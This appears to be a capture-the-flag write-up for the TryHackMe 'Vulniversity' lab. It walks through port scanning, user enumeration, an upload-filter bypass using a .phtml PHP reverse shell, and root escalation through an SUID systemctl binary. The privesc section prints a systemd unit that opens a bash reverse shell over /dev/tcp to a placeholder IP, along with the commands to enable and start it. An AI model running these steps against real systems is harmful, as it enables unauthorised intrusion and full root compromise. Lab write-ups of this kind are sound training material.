

CTF - Vulniversity / Tryhackme

1. Recon

Nmap result :

PORT	STATE SERVICE	REASON	VERSION
21/tcp	open	ftp	syn-ack ttl 63 vsftpd 3.0.3
22/tcp	open	ssh	syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	
445/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)	
3128/tcp open	http- proxy	syn-ack ttl 63 Squid http proxy 3.5.12	
3333/tcp open	http	syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))	

First, on port 21, we can see an ftp server running. Trying to connect to it anonymously failed.

On port, 22, an ssh server is running but we don't have any creds.

port 139/445 run a samba server, using the enum4linux script, we can discover a new user : ->
S-1-22-1-1000 Unix User\bill (Local User)

2. Web

The main website is running on port 3333, it's a replication of a university website. Using gobuster, we can find thoses directories :

Name	Status
------	--------

Name	Status
/images	(Status: 301) [Size: 318] [--> http://10.10.81.62:3333/images/]
/css	(Status: 301) [Size: 315] [--> http://10.10.81.62:3333/css/]
/js	(Status: 301) [Size: 314] [--> http://10.10.81.62:3333/js/]
/fonts	(Status: 301) [Size: 317] [--> http://10.10.81.62:3333/fonts/]
/internal	(Status: 301) [Size: 320] [--> http://10.10.81.62:3333/internal/]

/internal looks interesting.

On this page, we can upload a file. Trying using a .php, .jpg file will throw an error. "Extension not allowed"

Using burp suite, we can try to find a bypass to upload a php reverse shell on the website. When trying some extensions, we can find that ".phtml" can go through the filter. In the /internal directory, gobuster find the /uploads directory where we can trigger our php script.

With a listener in place, we can catch our reverse and connect in the www-data user.

3. Exploration

Navigating on the system, we can access the home directory of the bill user. Where we can find the user.txt

It's now time to search for a privesc. After investigating crontab, sudo -l, ... we can find interesting SUID files

```
find / -perm -u=s 2> /dev/null
```

Path
/usr/lib/squid/pinger
/bin/systemctl

Googling /bin/systemctl suid, we can find on GTFobins that systemctl can be used to gain root access. We will create a new service, which will execute a reverse shell, and using the systemctl with SUID bit, we will start the service, which will send us a root shell.

4. Privesc

We can use the method A1vinSmith : <https://gist.github.com/A1vinSmith>

[/78786df7899a840ec43c5ddec6a4740](#) First, we create our evil service

In a file called evil.service :

```
[Unit]
Description=Getting root
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/YourIP/YourPort 0>&1'
[Install]
WantedBy=multi-user.target
```

The ExecStart parameter is where you can set your command. Setup a listener then enable the service. If the path to systemctl is different, modify it.

```
/bin/systemctl enable /path/to/your/service/evil.service
```

```
/bin/systemctl start evil
```

5. Root

Now we have root, we can access the /root/root.txt and get the flag.